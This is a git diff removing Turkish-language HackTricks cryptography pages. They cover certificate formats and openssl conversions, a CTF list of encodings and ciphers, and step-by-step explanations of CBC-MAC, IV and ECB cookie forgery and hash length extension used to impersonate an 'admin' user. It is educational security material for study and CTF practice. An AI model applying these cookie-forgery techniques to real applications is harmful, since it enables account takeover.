Tanımlayıcı** ve **Otorite Anahtar Tanımlayıcı** gibi tanımlayıcılar, anahtarların benzersizliğini ve izlenebilirliğini sağlar. -- **Otorite Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, verici CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yollar sağlar. -- **CT Ön Sertifika SCT'leri**, sertifikaya kamu güveni için kritik olan şeffaflık günlükleri sunar. -```python -# Example of accessing and using x509 certificate fields programmatically: -from cryptography import x509 -from cryptography.hazmat.backends import default_backend - -# Load an x509 certificate (assuming cert.pem is a certificate file) -with open("cert.pem", "rb") as file: -cert_data = file.read() -certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) - -# Accessing fields -serial_number = certificate.serial_number -issuer = certificate.issuer -subject = certificate.subject -public_key = certificate.public_key() - -print(f"Serial Number: {serial_number}") -print(f"Issuer: {issuer}") -print(f"Subject: {subject}") -print(f"Public Key: {public_key}") -``` -### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark** - -**OCSP** (**RFC 2560**), bir istemci ve bir yanıtlayıcının, tam **CRL** indirmeye gerek kalmadan dijital kamu anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için birlikte çalışmasını içerir. Bu yöntem, iptal edilen sertifika seri numaralarının bir listesini sağlayan ancak potansiyel olarak büyük bir dosyanın indirilmesini gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) mevcuttur. - -### **Sertifika Şeffaflığı Nedir** - -Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan adı sahipleri, CA'lar ve kullanıcılar tarafından görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Hedefleri şunlardır: - -- CA'ların, alan adı sahibinin bilgisi olmadan bir alan için SSL sertifikası vermesini önlemek. -- Yanlış veya kötü niyetle verilmiş sertifikaların izlenmesi için açık bir denetim sistemi kurmak. -- Kullanıcıları sahte sertifikalardan korumak. - -#### **Sertifika Kayıtları** - -Sertifika kayıtları, ağ hizmetleri tarafından tutulan, kamuya açık denetlenebilir, yalnızca ekleme yapılabilen sertifika kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme otoriteleri hem de kamu, bu kayıtlara sertifika gönderebilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit olmamakla birlikte, dünya genelinde binin altında olması beklenmektedir. Bu sunucular, CA'lar, ISP'ler veya herhangi bir ilgilenen kuruluş tarafından bağımsız olarak yönetilebilir. - -#### **Sorgu** - -Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. - -Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumluluğu vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar. - -## **Formatlar** - -### **PEM Formatı** - -- Sertifikalar için en yaygın kullanılan formattır. -- Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır. -- Yaygın uzantılar: .cer, .crt, .pem, .key. -- Öncelikle Apache ve benzeri sunucular tarafından kullanılır. - -### **DER Formatı** - -- Sertifikaların ikili formatıdır. -- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. -- Yaygın uzantılar: .cer, .der. -- Genellikle Java platformları ile kullanılır. - -### **P7B/PKCS#7 Formatı** - -- Base64 ASCII formatında depolanır, uzantıları .p7b veya .p7c'dir. -- Sadece sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar. -- Microsoft Windows ve Java Tomcat tarafından desteklenir. - -### **PFX/P12/PKCS#12 Formatı** - -- Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır. -- Uzantılar: .pfx, .p12. -- Sertifika içe aktarma ve dışa aktarma için genellikle Windows'ta kullanılır. - -### **Format Dönüştürme** - -**PEM dönüşümleri**, uyumluluk için gereklidir: - -- **x509'dan PEM'e** -```bash -openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem -``` -- **PEM'den DER'e** -```bash -openssl x509 -outform der -in certificatename.pem -out certificatename.der -``` -- **DER'den PEM'e** -```bash -openssl x509 -inform der -in certificatename.der -out certificatename.pem -``` -- **PEM'den P7B'ye** -```bash -openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer -``` -- **PKCS7'den PEM'e** -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem -``` -**PFX dönüşümleri**, Windows'ta sertifikaları yönetmek için çok önemlidir: - -- **PFX'ten PEM'e** -```bash -openssl pkcs12 -in certificatename.pfx -out certificatename.pem -``` -- **PFX'ten PKCS#8'e** iki adım içerir: -1. PFX'i PEM'e dönüştür -```bash -openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem -``` -2. PEM'i PKCS8'e Dönüştür -```bash -openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 -``` -- **P7B'den PFX'e** geçmek için de iki komut gereklidir: -1. P7B'yi CER'e dönüştür -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer -``` -2. CER ve Özel Anahtarı PFX'e Dönüştür -```bash -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` ---- - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md deleted file mode 100644 index 23c66c0ec..000000000 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ /dev/null @@ -1,55 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# CBC - -Eğer **cookie** **sadece** **kullanıcı adı** ise (veya cookie'nin ilk kısmı kullanıcı adıysa) ve "**admin**" kullanıcı adını taklit etmek istiyorsanız. O zaman **"bdmin"** kullanıcı adını oluşturabilir ve **cookie'nin ilk baytını** **bruteforce** edebilirsiniz. - -# CBC-MAC - -**Şifre blok zinciri mesaj kimlik doğrulama kodu** (**CBC-MAC**), kriptografide kullanılan bir yöntemdir. Bu yöntem, bir mesajı alıp blok blok şifreleyerek çalışır; her bloğun şifrelemesi, bir önceki bloğa bağlıdır. Bu süreç, **blokların bir zincirini** oluşturur ve orijinal mesajın tek bir bitini değiştirmek bile, şifrelenmiş verinin son bloğunda öngörülemeyen bir değişikliğe yol açar. Böyle bir değişikliği yapmak veya geri almak için şifreleme anahtarı gereklidir, bu da güvenliği sağlar. - -Mesaj m'nin CBC-MAC'ını hesaplamak için, m'yi sıfır başlangıç vektörü ile CBC modunda şifreler ve son bloğu saklarsınız. Aşağıdaki şekil, bir dizi bloktan oluşan bir mesajın CBC-MAC'ının hesaplanmasını tasvir etmektedir![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) gizli anahtar k ve bir blok şifre E kullanarak: - -![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() - -# Açıklık - -CBC-MAC ile genellikle **kullanılan IV 0'dır**.\ -Bu bir sorun çünkü 2 bilinen mesaj (`m1` ve `m2`) bağımsız olarak 2 imza (`s1` ve `s2`) üretecektir. Yani: - -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` - -Sonra m1 ve m2'nin birleştirilmesiyle oluşan bir mesaj (m3) 2 imza (s31 ve s32) üretecektir: - -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` - -**Bu, şifreleme anahtarını bilmeden hesaplanabilir.** - -**Administrator** ismini **8bayt** bloklarda şifrelediğinizi hayal edin: - -- `Administ` -- `rator\00\00\00` - -**Administ** (m1) adında bir kullanıcı adı oluşturabilir ve imzayı (s1) alabilirsiniz.\ -Sonra, `rator\00\00\00 XOR s1` sonucunu kullanarak bir kullanıcı adı oluşturabilirsiniz. Bu, `E(m2 XOR s1 XOR 0)` üretecektir ki bu da s32'dir.\ -Artık s32'yi **Administrator** tam adı için imza olarak kullanabilirsiniz. - -### Özet - -1. **Administ** (m1) kullanıcı adının imzasını alın, bu s1'dir. -2. **rator\x00\x00\x00 XOR s1 XOR 0** kullanıcı adının imzasını alın, bu s32'dir. -3. Cookie'yi s32 olarak ayarlayın ve bu, **Administrator** kullanıcısı için geçerli bir cookie olacaktır. - -# IV'yi Kontrol Etme Saldırısı - -Kullanılan IV'yi kontrol edebiliyorsanız, saldırı çok kolay olabilir.\ -Eğer cookie sadece şifrelenmiş kullanıcı adıysa, "**administrator**" kullanıcısını taklit etmek için "**Administrator**" kullanıcısını oluşturabilir ve onun cookie'sini alabilirsiniz.\ -Şimdi, eğer IV'yi kontrol edebiliyorsanız, IV'nin ilk baytını değiştirebilirsiniz, böylece **IV\[0] XOR "A" == IV'\[0] XOR "a"** olur ve **Administrator** kullanıcısı için cookie'yi yeniden oluşturabilirsiniz. Bu cookie, başlangıç **IV** ile **administrator** kullanıcısını taklit etmek için geçerli olacaktır. - -## Referanslar - -Daha fazla bilgi için [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md deleted file mode 100644 index 3f2268632..000000000 --- a/src/cryptography/crypto-ctfs-tricks.md +++ /dev/null @@ -1,269 +0,0 @@ -# Crypto CTFs Tricks - -{{#include ../banners/hacktricks-training.md}} - -## Online Hashes DBs - -- _**Google'la arayın**_ -- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) -- [https://crackstation.net/](https://crackstation.net) -- [https://md5decrypt.net/](https://md5decrypt.net) -- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -- [https://gpuhash.me/](https://gpuhash.me) -- [https://hashes.org/search.php](https://hashes.org/search.php) -- [https://www.cmd5.org/](https://www.cmd5.org) -- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) -- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - -## Magic Autosolvers - -- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modülü) -- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - -## Encoders - -Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir: - -- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### Substitution Autosolvers - -- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Çok iyi! - -#### Caesar - ROTx Autosolvers - -- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - -#### Atbash Cipher - -- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - -### Base Encodings Autosolver - -Tüm bu tabanları kontrol edin: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - -- **Ascii85** -- `BQ%]q@psCd@rH0l` -- **Base26** \[_A-Z_] -- `BQEKGAHRJKHQMVZGKUXNT` -- **Base32** \[_A-Z2-7=_] -- `NBXWYYLDMFZGCY3PNRQQ====` -- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] -- `pbzsaamdcf3gna5xptoo====` -- **Base32 Geohash** \[_0-9b-hjkmnp-z_] -- `e1rqssc3d5t62svgejhh====` -- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] -- `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] -- `D1NMOOB3C5P62ORFDHGG====` -- **Base45** \[_0-9A-Z $%\*+-./:_] -- `59DPVDGPCVKEUPCPVD` -- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] -- `2yJiRg5BF9gmsU6AC` -- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] -- `2YiHqF5bf9FLSt6ac` -- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] -- `pyJ5RgnBE9gm17awU` -- **Base62** \[_0-9A-Za-z_] -- `g2AextRZpBKRBzQ9` -- **Base64** \[_A-Za-z0-9+/=_] -- `aG9sYWNhcmFjb2xh` -- **Base67** \[_A-Za-z0-9-_.!\~\_] -- `NI9JKX0cSUdqhr!p` -- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `BQ%]q@psCd@rH0l` -- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] -- `Xm4y`V\_|Y(V{dF>\` -- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] -- `Xm4y|V{~Y+V}dF?` -- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] -- `frDg[*jNN!7&BQM` -- **Base100** \[] -- `👟👦👣👘👚👘👩👘👚👦👣👘` -- **Base122** \[] -- `4F ˂r0Xmvc` -- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] -- `MIc3KiXa+Ihz+lrXMIc3KbCC` -- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] -- `DmPsv8J7qrlKEoY7` -- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] -- `kLD8iwKsigSalLJ5` -- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] -- `ayRiIo1gpO+uUc7g` -- **ESAB46** \[] -- `3sHcL2NR8WrT7mhR` -- **MEGAN45** \[] -- `kLD8igSXm2KZlwrX` -- **TIGO3FX** \[] -- `7AP9mIzdmltYmIP9mWXX` -- **TRIPO5** \[] -- `UE9vSbnBW6psVzxB` -- **FERON74** \[] -- `PbGkNudxCzaKBm0x` -- **GILA7** \[] -- `D+nkv8C1qIKMErY1` -- **Citrix CTX1** \[] -- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] -``` -╫☐↑Λ↻Λ┏Λ↻☐↑Λ -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse -``` -.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Ölü: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder -``` -begin 644 webutils_pl -M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( -M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ -F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` -` -end -``` -- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - -### XXEncoder -``` -begin 644 webutils_pl -hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 -5Hol-G2xAEE++ -end -``` -- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - -### YEncoder -``` -=ybegin line=128 size=28 name=webutils_pl -ryvkryvkryvkryvkryvkryvkryvk -=yend size=28 crc32=35834c86 -``` -### BinHex -``` -(This file must be converted with BinHex 4.0) -:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p --38K26%'d9J!!: -``` -- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - -### ASCII85 -``` -<~85DoF85DoF85DoF85DoF85DoF85DoF~> -``` -- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - -### Dvorak klavye -``` -drnajapajrna -``` -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - -### A1Z26 - -Harflerin sayısal değeri -``` -8 15 12 1 3 1 18 1 3 15 12 1 -``` -### Affine Cipher Encode - -Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin. -``` -krodfdudfrod -``` -### SMS Kodu - -**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\ -Örneğin: 2=A, 22=B, 222=C, 3=D...\ -Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz. - -Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Kodu - -Her harfi 4 A veya B (veya 1 ve 0) ile değiştirin. -``` -00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 -AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA -``` -### Runes - -![](../images/runes.jpg) - -## Sıkıştırma - -**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir. - -## Kolay Kripto - -### XOR - Otomatik Çözücü - -- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - -### Bifid - -Bir anahtar kelime gereklidir -``` -fgaargaamnlunesuneoa -``` -### Vigenere - -Bir anahtar kelimeye ihtiyaç vardır -``` -wodsyoidrods -``` -- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) -- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) -- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - -## Güçlü Kripto - -### Fernet - -2 base64 dizesi (token ve anahtar) -``` -Token: -gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== - -Key: --s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -``` -- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - -### Samir Gizli Paylaşımı - -Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız vardır (_Y <=X_). -``` -8019f8fa5879aa3e07858d08308dc1a8b45 -80223035713295bddf0b0bd1b10a5340b89 -803bc8cf294b3f83d88e86d9818792e80cd -``` -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### OpenSSL brute-force - -- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - -## Araçlar - -- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) -- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) -- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md deleted file mode 100644 index e12be50f7..000000000 --- a/src/cryptography/electronic-code-book-ecb.md +++ /dev/null @@ -1,68 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# ECB - -(ECB) Elektronik Kod Kitabı - her **açık metin bloğunu** **şifreli metin bloğu ile** değiştiren simetrik şifreleme şemasıdır. Bu, en **basit** şifreleme şemasınıdır. Ana fikir, açık metni **N bitlik bloklara** **bölmek** (giriş verisinin blok boyutuna, şifreleme algoritmasına bağlıdır) ve ardından her açık metin bloğunu yalnızca bir anahtar kullanarak şifrelemektir (şifre çözmektir). - -![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) - -ECB kullanmanın birçok güvenlik etkisi vardır: - -- **Şifreli mesajdan bloklar çıkarılabilir** -- **Şifreli mesajdan bloklar yer değiştirebilir** - -# Zafiyetin Tespiti - -Bir uygulamaya birkaç kez giriş yaptığınızı ve **her zaman aynı çerezi** aldığınızı hayal edin. Bunun nedeni, uygulamanın çerezinin **`|<şifre>`** olmasıdır.\ -Sonra, her ikisi de **aynı uzun şifreye** ve **neredeyse** **aynı** **kullanıcı adına** sahip yeni kullanıcılar oluşturursunuz.\ -Her iki kullanıcının **bilgilerinin** aynı olduğu **8B'lik blokların** **eşit** olduğunu keşfedersiniz. Sonra, bunun **ECB'nin kullanılıyor olabileceği** nedeniyle olabileceğini hayal edersiniz. - -Aşağıdaki örnekte olduğu gibi. Bu **2 çözülmüş çerezin** nasıl birkaç kez **`\x23U\xE45K\xCB\x21\xC8`** bloğunu içerdiğine dikkat edin. -``` -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 - -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 -``` -Bu, **bu çerezlerin kullanıcı adı ve şifresinin birkaç kez "a" harfini içermesinden** kaynaklanmaktadır (örneğin). **Farklı** olan **bloklar**, **en az 1 farklı karakter** içeren bloklardır (belki ayırıcı "|" veya kullanıcı adındaki bazı gerekli farklılık). - -Şimdi, saldırganın formatın `` mi yoksa `` mi olduğunu keşfetmesi gerekiyor. Bunu yapmak için, sadece **benzer ve uzun kullanıcı adları ve şifreler ile birkaç kullanıcı adı oluşturabilir** ve formatı ve ayırıcının uzunluğunu bulana kadar devam edebilir: - -| Kullanıcı adı uzunluğu: | Şifre uzunluğu: | Kullanıcı adı+Şifre uzunluğu: | Çerezin uzunluğu (çözüldükten sonra): | -| ----------------------- | ---------------- | ------------------------------ | ------------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | - -# Açığın istismarı - -## Tüm blokları kaldırma - -Çerezin formatını bilerek (`|`), `admin` kullanıcı adını taklit etmek için `aaaaaaaaadmin` adında yeni bir kullanıcı oluşturun ve çerezi alın ve çözün: -``` -\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -Önceden yalnızca `a` içeren kullanıcı adıyla oluşturulan `\x23U\xE45K\xCB\x21\xC8` desenini görebiliriz.\ -Ardından, 8B'nin ilk bloğunu kaldırabilir ve `admin` kullanıcı adı için geçerli bir çerez elde edersiniz: -``` -\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -## Blokları Taşıma - -Birçok veritabanında `WHERE username='admin';` veya `WHERE username='admin ';` aramak aynı şeydir _(Ekstra boşluklara dikkat edin)_ - -Bu nedenle, `admin` kullanıcısını taklit etmenin başka bir yolu: - -- `len() + len(` parçası 2 adet 8B blok oluşturacaktır. -- Ardından, taklit etmek istediğimiz kullanıcı adını ve boşlukları içeren tam sayıda blok dolduracak bir şifre oluşturmak, örneğin: `admin ` - -Bu kullanıcının çerezi 3 bloktan oluşacak: ilk 2 blok kullanıcı adı + ayırıcı blokları ve üçüncü blok şifre (kullanıcı adını taklit eden): `username |admin ` - -**Sonra, sadece ilk bloğu son blokla değiştirin ve `admin` kullanıcısını taklit etmiş olacaksınız: `admin |username`** - -## Referanslar - -- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md deleted file mode 100644 index 8c80c2e93..000000000 --- a/src/cryptography/hash-length-extension-attack.md +++ /dev/null @@ -1,38 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Saldırının Özeti - -Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hashlediğini düşünün. Eğer şunları biliyorsanız: - -- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir) -- **Açık metin verisi** -- **Algoritma (ve bu saldırıya karşı savunmasız)** -- **Padding biliniyor** -- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir -- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir - -O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**. - -## Nasıl? - -Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hashleyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hashler**. - -O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\ -Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: - -- 64 "A"nın MD5'ini oluştur -- Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir -- "append" dizesini ekle -- Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli bir hash olacaktır - -## **Araç** - -{{#ref}} -https://github.com/iagox86/hash_extender -{{#endref}} - -## Referanslar - -Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md deleted file mode 100644 index 9d6b61b17..000000000 --- a/src/cryptography/padding-oracle-priv.md +++ /dev/null @@ -1,102 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -
